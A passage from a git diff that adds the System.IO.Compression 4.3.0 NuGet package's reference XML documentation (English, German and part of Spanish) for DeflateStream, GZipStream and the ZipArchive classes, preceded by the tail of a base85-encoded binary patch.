zyL4IHiAIi~Slcb*t<+U}zmXFCHH(Dt#H$$#_<{s%Pd^gUI>awb5y#v*c4SpM2`WzK zNCH7vGO}|`>nr{*-WQap@d6&cp9A5LfLc`)_?HOnjMN?Ij*69)GA51MeJe_9g3}rf zrq#n~XZ{k8`=9JkS6uOACPs$2v~{>l*5r_^=7U!)FoT1mIh-PQZXI zCiqaU1DrnIsR}?G9;7i47ONDG1t+S(b`hkdp0Wy*zPCUM7|wVdO9CI3r;pH}d)6Xe zm>YSGL$Ys0F+0swO!!@w(O*Sagdbg;5j@r~vSHqM>6N}4d|QXVib>zppBJa@bX4zt zxM)+^7DAri-hpPt=2bGu1M-=UXU+{LGn%tRr3xd8uS4mLhpMA5-MTJ$Yhj+I?9&H> zYsZeg(a*npC6Y(0No_mRB!d6rZ#FU-)PYBZYPTbgE!-~K9H!!umE*Ua^0+}`^jSH_ zZ%)-_jV~fnAN3EMPaWvo`n;^W(!!ufoBXUQbf@8f_?%ePrp{=}LeZ9df@$l=Fzgkx zxeALXTtAb>PH9N%1bOxwq`xW8__(I1is3V1Dj;;^n~^$!`mt)8MaZD_?rIJ=ul#^z z!uwrgEf~A|_a;Rb9vO9vy}s~Oo#!lYhNTZoz8-Y)W&gc9KoIEq!J(NM=t{@TfxpK$ zz>z9}A0im=?;}^)t%qVy@g#}y>UBRmW*Y3t(WPYDXRajKN5OrA%U|z-)9%lx0LxEG zYlYJ;!)eWMS~*VqSF;xE5a6`bgKPeSWCTu!IXi2F6?`(gU2Bokq0T6DaTy{P&eU_T z$RLMvN;|aMv-!E@?-#0$?5C!De*7Rx>!Paa*L6>N^kAV!IdXH?UrRT8sBo_C>&6XT zF0PffDb}w1wlBlh3w8)Z)f4Iyuw-rmkK$h85sAWcyDaCw(&@^#rlT2NQu8FU0$=mL$JZR^dRk?=hm#=Fr{>5!BZx<(=fxGl* z{@Zsivd^wume8hfZhYm#oLjS2cRJYB-06?EN#c;Z`{-i4ah~n0Nwr7b19^V>jQ)Ee zJRE|%mo_i+-8#N=@czK=VxRMepZ3V?Ot#Qpd>h|5vZz^YKmO}+UKP#|{T(-l-50>M NuJ`008P}Sd{6BG-`tbk& literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.xml new file mode 100644 index 0000000..8d194f6 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Specifies values that indicate whether a compression operation emphasizes speed or compression size. + + + The compression operation should complete as quickly as possible, even if the resulting file is not optimally compressed. + + + No compression should be performed on the file. + + + The compression operation should be optimally compressed, even if the operation takes a longer time to complete. + + + Specifies whether to compress or decompress the underlying stream. + + + Compresses the underlying stream. + + + Decompresses the underlying stream. + + + Provides methods and properties for compressing and decompressing streams by using the Deflate algorithm. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to compress. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream to compress or decompress. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream is opened and supports reading; otherwise, false. + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were read into the byte array. + The array to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or - The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This operation is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This operation is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + + + Provides methods and properties used to compress and decompress streams. + + + Initializes a new instance of the class by using the specified stream and compression level. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression level, and optionally leaves the stream open. + The stream to write the compressed data to. + One of the enumeration values that indicates whether to emphasize speed or compression efficiency when compressing the stream. + true to leave the stream object open after disposing the object; otherwise, false. + + is null. + The stream does not support write operations such as compression. (The property on the stream object is false.) + + + Initializes a new instance of the class by using the specified stream and compression mode. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + + is null. + + is not a valid enumeration value.-or- is and is false.-or- is and is false. + + + Initializes a new instance of the class by using the specified stream and compression mode, and optionally leaves the stream open. + The stream the compressed or decompressed data is written to. + One of the enumeration values that indicates whether to compress or decompress the stream. + true to leave the stream open after disposing the object; otherwise, false. + + is null. + + is not a valid value.-or- is and is false.-or- is and is false. + + + Gets a reference to the underlying stream. + A stream object that represents the underlying stream. + The underlying stream is closed. + + + + + + Gets a value indicating whether the stream supports reading while decompressing a file. + true if the value is Decompress, and the underlying stream supports reading and is not closed; otherwise, false. + + + + + + Gets a value indicating whether the stream supports seeking. + false in all cases. + + + Gets a value indicating whether the stream supports writing. + true if the value is Compress, and the underlying stream supports writing and is not closed; otherwise, false. + + + + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + The current implementation of this method has no functionality. + The stream is closed. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + This property is not supported and always throws a . + A long value. + This property is not supported on this stream. + + + + + + Reads a number of decompressed bytes into the specified byte array. + The number of bytes that were decompressed into the byte array. If the end of the stream has been reached, zero or the number of bytes read is returned. + The array used to store decompressed bytes. + The byte offset in at which the read bytes will be placed. + The maximum number of decompressed bytes to read. + + is null. + The value was Compress when the object was created.- or -The underlying stream does not support reading. + + or is less than zero.-or- length minus the index starting point is less than . + The data is in an invalid format. + The stream is closed. + + + This property is not supported and always throws a . + A long value. + The location in the stream. + One of the values. + This property is not supported on this stream. + + + This property is not supported and always throws a . + The length of the stream. + This property is not supported on this stream. + + + Writes compressed bytes to the underlying stream from the specified byte array. + The buffer that contains the data to compress. + The byte offset in from which the bytes will be read. + The maximum number of bytes to write. + The write operation cannot be performed because the stream is closed. + + + Represents a package of compressed files in the zip archive format. + + + Initializes a new instance of the class from the specified stream. + The stream that contains the archive to be read. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initializes a new instance of the class from the specified stream and with the specified mode. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initializes a new instance of the class on the specified stream for the specified mode, uses the specified encoding for entry names, and optionally leaves the stream open. + The input or output stream. + One of the enumeration values that indicates whether the zip archive is used to read, create, or update entries. + true to leave the stream open after the object is disposed; otherwise, false. + The encoding to use when reading or writing entry names in this archive. Specify a value for this parameter only when an encoding is required for interoperability with zip archive tools and libraries that do not support UTF-8 encoding for entry names. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Creates an empty entry that has the specified path and entry name in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Creates an empty entry that has the specified entry name and compression level in the zip archive. + An empty entry in the zip archive. + A path, relative to the root of the archive, that specifies the name of the entry to be created. + One of the enumeration values that indicates whether to emphasize speed or compression effectiveness when creating the entry. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Releases the resources used by the current instance of the class. + + + Called by the and methods to release the unmanaged resources used by the current instance of the class, and optionally finishes writing the archive and releases the managed resources. + true to finish writing the archive and release unmanaged and managed resources; false to release only unmanaged resources. + + + Gets the collection of entries that are currently in the zip archive. + The collection of entries that are currently in the zip archive. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Retrieves a wrapper for the specified entry in the zip archive. + A wrapper for the specified entry in the archive; null if the entry does not exist in the archive. + A path, relative to the root of the archive, that identifies the entry to retrieve. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Gets a value that describes the type of action the zip archive can perform on entries. + One of the enumeration values that describes the type of action (read, create, or update) the zip archive can perform on entries. + + + Represents a compressed file within a zip archive. + + + Gets the zip archive that the entry belongs to. + The zip archive that the entry belongs to, or null if the entry has been deleted. + + + Gets the compressed size of the entry in the zip archive. + The compressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Deletes the entry from the zip archive. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Gets the relative path of the entry in the zip archive. + The relative path of the entry in the zip archive. + + + Gets or sets the last time the entry in the zip archive was changed. + The last time the entry in the zip archive was changed. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Gets the uncompressed size of the entry in the zip archive. + The uncompressed size of the entry in the zip archive. + The value of the property is not available because the entry has been modified. + + + Gets the file name of the entry in the zip archive. + The file name of the entry in the zip archive. + + + Opens the entry from the zip archive. + The stream that represents the contents of the entry. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Retrieves the relative path of the entry in the zip archive. + The relative path of the entry, which is the value stored in the property. + + + Specifies values for interacting with zip archive entries. + + + Only creating new archive entries is permitted. + + + Only reading archive entries is permitted. + + + Both read and write operations are permitted for archive entries. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/de/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/de/System.IO.Compression.xml new file mode 100644 index 0000000..e7d6bfc --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/de/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + + Gibt Werte an, die angeben, ob ein Komprimierungsvorgang die Geschwindigkeit oder den Komprimierungsumfang hervorhebt. + + + Der Komprimierungsvorgang soll so schnell wie möglich beendet werden, auch wenn die resultierende Datei nicht optimal komprimiert wird. + + + Bei der Datei sollte keine Komprimierung erfolgen. + + + Der Komprimierungsvorgang soll optimal ausgeführt werden, auch wenn der Vorgang eine längere Zeit in Anspruch nimmt. + + + Gibt an, ob der zugrunde liegende Stream komprimiert oder dekomprimiert werden soll. + + + Komprimiert den zugrunde liegenden Stream. + + + Dekomprimiert den zugrunde liegenden Stream. + + + Stellt Methoden und Eigenschaften zum Komprimieren und Dekomprimieren von Streams mithilfe des Deflate-Algorithmus bereit. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der zu komprimierende Stream. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der zu komprimierende oder zu dekomprimierende Stream. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert Decompress ist und der zugrunde liegende Stream geöffnet ist und Lesevorgänge unterstützt, andernfalls false. + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl von Bytes, die in das Bytearray gelesen wurden. + Das Array zum Speichern von dekomprimierten Bytes. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder - Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Dieser Vorgang wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + + + Stellt Methoden und Eigenschaften bereit, die zum Komprimieren und Dekomprimieren von Streams verwendet werden. + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsgrads. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und der Komprimierungsebene und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob die Geschwindigkeit oder Komprimierungsleistungsfähigkeit priorisiert wird, wenn der Stream komprimiert wird. + true, um das Streamobjekt offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + Der Stream unterstützt keine Schreibvorgänge wie die Komprimierung.(Die -Eigenschaft für das Streamobjekt ist false). + + + Initialisiert eine neue Instanz der -Klasse mithilfe des angegebenen Stream- und Komprimierungsmodus. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + + ist null. + + ist kein gültiger -Enumerationswert.- oder - ist und ist false.- oder - ist und ist false. + + + Initialisiert eine neue Instanz der -Klasse unter Verwendung des angegebenen Streams und des Komprimierungsmodus und lässt den Stream optional geöffnet. + Der Stream, in den die komprimierten oder dekomprimierten Daten geschrieben werden. + Einer der Enumerationswerte, der angibt, ob der Stream gelesen oder geschrieben wird. + true, um den Stream offen zu lassen, nachdem das -Objekt freigegeben wurde, andernfalls false. + + ist null. + + ist kein gültiger -Wert.- oder - ist und ist false.- oder - ist und ist false. + + + Ruft einen Verweis auf den zugrunde liegenden Stream ab. + Ein Streamobjekt, das den zugrunde liegenden Stream darstellt. + Der zugrunde liegende Stream ist geschlossen. + + + + + + Ruft einen Wert ab, der angibt, ob der Stream Lesevorgänge unterstützt, während eine Datei dekomprimiert wird. + true, wenn der -Wert gleich Decompress, ist und der zugrunde liegende Stream Lesevorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Ruft einen Wert, der angibt, ob der Stream Suchvorgänge unterstützt. + false in allen Fällen. + + + Ruft einen Wert, der angibt, ob der Stream Schreibvorgänge unterstützt. + true, wenn der -Wert gleich Compress ist und der zugrunde liegende Stream Schreibvorgänge unterstützt und nicht geschlossen ist, andernfalls false. + + + + + + Gibt die von verwendeten nicht verwalteten Ressourcen und optional die verwalteten Ressourcen frei. + true, um sowohl verwaltete als auch nicht verwaltete Ressourcen freizugeben, false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Die aktuelle Implementierung dieser Methode hat keine Funktion. + Der Stream ist geschlossen. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + + + + Liest eine Anzahl von dekomprimierten Bytes in das angegebene Bytearray. + Die Anzahl der Bytes, die im Bytearray dekomprimiert wurden.Wenn das Ende des Streams erreicht worden ist, wird 0 oder die Anzahl der gelesenen Bytes zurückgegeben. + Das Array, das zum Speichern von dekomprimierten Bytes verwendet wird. + Das Byteoffset in , an dem die gelesenen Bytes platziert werden. + Die maximale Anzahl der zu lesenden dekomprimierten Bytes. + + ist null. + Der -Wert war Compress, als das Objekt erstellt wurde.- oder -Der zugrunde liegende Stream unterstützt keine Lesevorgänge. + + oder ist kleiner als 0.- oder - Die -Länge minus des Indexausgangspunkts ist kleiner als . + Die Daten haben ein ungültiges Format. + Der Stream ist geschlossen. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Ein Long-Wert. + Die Position im Stream. + Einer der -Werte. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Diese Eigenschaft wird nicht unterstützt und löst immer eine aus. + Die Länge des Streams. + Diese Eigenschaft wird für diesen Stream nicht unterstützt. + + + Schreibt komprimierte Bytes aus dem angegebenen Bytearray in den zugrunde liegenden Stream. + Der Puffer, der die zu komprimierenden Daten enthält. + Das Byteoffset in , aus dem die Bytes gelesen werden. + Die maximale Anzahl der zu schreibenden Bytes. + Der Schreibvorgang kann nicht ausgeführt werden, da der Stream geschlossen ist. + + + Stellt ein Paket komprimierter Dateien im Zip-Archiv-Format dar. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream. + Ein Stream, der das zu lesende Archiv enthält. + The stream is already closed or does not support reading. + + is null. + The contents of the stream are not in the zip archive format. + + + Initialisiert eine neue Instanz der -Klasse aus dem angegebenen Stream und mit dem angegebenen Modus. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Initialisiert eine neue Instanz der -Klasse für den angegebenen Stream und den angegebenen Modus und verwendet dabei die angegebene Codierung für Eintragsnamen und lässt den Stream optional geöffnet. + Der Eingabe- oder Ausgabestream. + Einer der Enumerationswerte, der angibt, ob das Zip-Archiv verwendet wird, um Einträge zu lesen, zu erstellen oder zu aktualisieren. + true, um den Datenstrom geöffnet zu lassen, nach dem das -Objekt freigegeben wurde; andernfalls false. + Die Codierung, die beim Lesen oder Schreiben von Eintragsnamen in diesem Archiv verwendet werden soll.Geben Sie einen Wert für diesen Parameter nur an, wenn eine Codierung für die Interoperabilität mit ZIP-Archiv-Tools und -Bibliotheken erforderlich ist, die die UTF-8-Codierung für Eintragsnamen nicht unterstützen. + The stream is already closed, or the capabilities of the stream do not match the mode. + + is null. + + is an invalid value. + The contents of the stream could not be interpreted as a zip archive.-or- is and an entry is missing from the archive or is corrupt and cannot be read.-or- is and an entry is too large to fit into memory. + + + Erstellt einen leeren Eintrag, der den angegebenen Pfad und Eintragsnamen im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Erstellt einen leeren Eintrag, der den angegebenen Eintragsnamen und die Komprimierung im ZIP-Archiv Ebene verwendet. + Ein leerer Eintrag im ZIP-Archiv. + Ein Pfad relativ zum Stamm des Archivs, der den Namen des Eintrags angibt, der erstellt werden soll. + Einer der Enumerationswerte, der angibt, ob Geschwindigkeit oder Komprimierungseffektivität priorisiert wird, wenn der Eintrag erstellt. + + is . + + is null. + The zip archive does not support writing. + The zip archive has been disposed. + + + Gibt alle von der aktuellen Instanz der -Klasse verwendeten Ressourcen frei. + + + Wird von den und -Methoden aufgerufen, um die nicht verwalteten Ressourcen freizugeben, die von der aktuellen Instanz der -Klasse verwendet werden, und beendet optional das Schreiben ins Archiv und gibt die verwalteten Ressourcen frei. + true, um das Schreiben des Archivs abzuschließen und sowohl nicht verwaltete als auch verwaltete Ressourcen freizugeben; false, um ausschließlich nicht verwaltete Ressourcen freizugeben. + + + Ruft die Auflistung von Einträgen ab, die das ZIP-Archiv momentan enthält. + Die Auflistung von Einträgen, die das ZIP-Archiv momentan enthält. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wrapper für den angegebenen Eintrag im Zip-Archiv ab. + Ein Wrapper für den angegebenen Eintrag im Archiv. null, wenn der Eintrag nicht im Archiv vorhanden ist. + Ein Pfad relativ zum Stamm des Archivs, das den Eintrag identifiziert, der abgerufen werden soll. + + is . + + is null. + The zip archive does not support reading. + The zip archive has been disposed. + The zip archive is corrupt, and its entries cannot be retrieved. + + + Ruft einen Wert ab, der den Typ der Aktion beschreibt, die das ZIP-Archiv für Einträge ausführen kann. + Einer der Enumerationswerte, der den Typ der Aktion (Lesen, Erstellen oder Update) beschreibt, die das Zip-Archiv bei Einträgen ausführen kann. + + + Stellt eine komprimierte Datei in einem Zip-Archiv dar. + + + Ruft das Zip-Archiv ab, zu dem der Eintrag gehört. + Das Zip-Archiv, zu dem der Eintrag gehört, oder null, wenn der Eintrag gelöscht wurde. + + + Ruft die komprimierte Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des komprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Löscht den Eintrag aus dem Zip-Archiv. + The entry is already open for reading or writing. + The zip archive for this entry was opened in a mode other than . + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im ZIP-Archiv ab. + Der relative Pfad des Eintrags im Zip-Archiv. + + + Ruft den letzten Zeitpunkt ab, zu dem der Eintrag im Zip-Archiv geändert wurde, oder legt diesen fest. + Der letzte Zeitpunkt, an dem der Eintrag im ZIP-Archiv geändert wurde. + The attempt to set this property failed, because the zip archive for the entry is in mode. + The archive mode is set to .- or -The archive mode is set to and the entry has been opened. + An attempt was made to set this property to a value that is either earlier than 1980 January 1 0:00:00 (midnight) or later than 2107 December 31 23:59:58 (one second before midnight). + + + Ruft die Größe des unkomprimierten Eintrags im ZIP-Archiv ab. + Die Größe des unkomprimierten Eintrags im ZIP-Archiv. + The value of the property is not available because the entry has been modified. + + + Ruft den Dateinamen des Eintrags im ZIP-Archiv ab. + Der Dateiname des Eintrags im ZIP-Archiv. + + + Öffnet den Eintrag aus dem Zip-Archiv. + Der Stream, der den Inhalt des Eintrags darstellt. + The entry is already currently open for writing.-or-The entry has been deleted from the archive.-or-The archive for this entry was opened with the mode, and this entry has already been written to. + The entry is either missing from the archive or is corrupt and cannot be read. -or-The entry has been compressed by using a compression method that is not supported. + The zip archive for this entry has been disposed. + + + Ruft den relativen Pfad des Eintrags im Zip-Archiv ab. + Der relative Pfad des Eintrags, der in der -Eigenschaft gespeichert ist. + + + Gibt Werte für die Interaktion mit Zip-Archiveinträgen an. + + + Nur das Erstellen neuer Archiveinträge ist zulässig. + + + Nur das Lesen von Archiveinträgen ist zulässig. + + + Lese- und Schreibvorgänge sind für die Archiveinträge zulässig. + + + \ No newline at end of file diff --git a/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/es/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/es/System.IO.Compression.xml new file mode 100644 index 0000000..ceb444e --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netstandard1.1/es/System.IO.Compression.xml @@ -0,0 +1,420 @@ + + + + System.IO.Compression + + + + Especifica valores que indican si una operación de compresión hace hincapié en la velocidad o en el tamaño de la compresión. + + + La operación de compresión debe completarse lo antes posible, aunque el archivo resultante no esté comprimido de forma óptima. + + + No debe comprimirse el archivo. + + + La operación de compresión se debe comprimir de forma óptima, incluso aunque la operación tarde más tiempo en completarse. + + + Especifica si se comprime o descomprime la secuencia subyacente. + + + Comprime la secuencia subyacente. + + + Descomprime la secuencia subyacente. + + + Proporciona métodos y propiedades para comprimir y descomprimir secuencias usando el algoritmo Deflate. + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + El valor de es null. + La secuencia no admite operaciones de escritura como compresión.(El es propiedad del objeto de secuencia false.) + + + Inicializa una nueva instancia de la clase usando la secuencia y nivel de compresión especificados y, opcionalmente, deja la secuencia abierta. + Secuencia que se va a comprimir. + Uno de los valores de enumeración que indica si se va a hacer hincapié en la eficacia de velocidad o de compresión al comprimir la secuencia. + true para 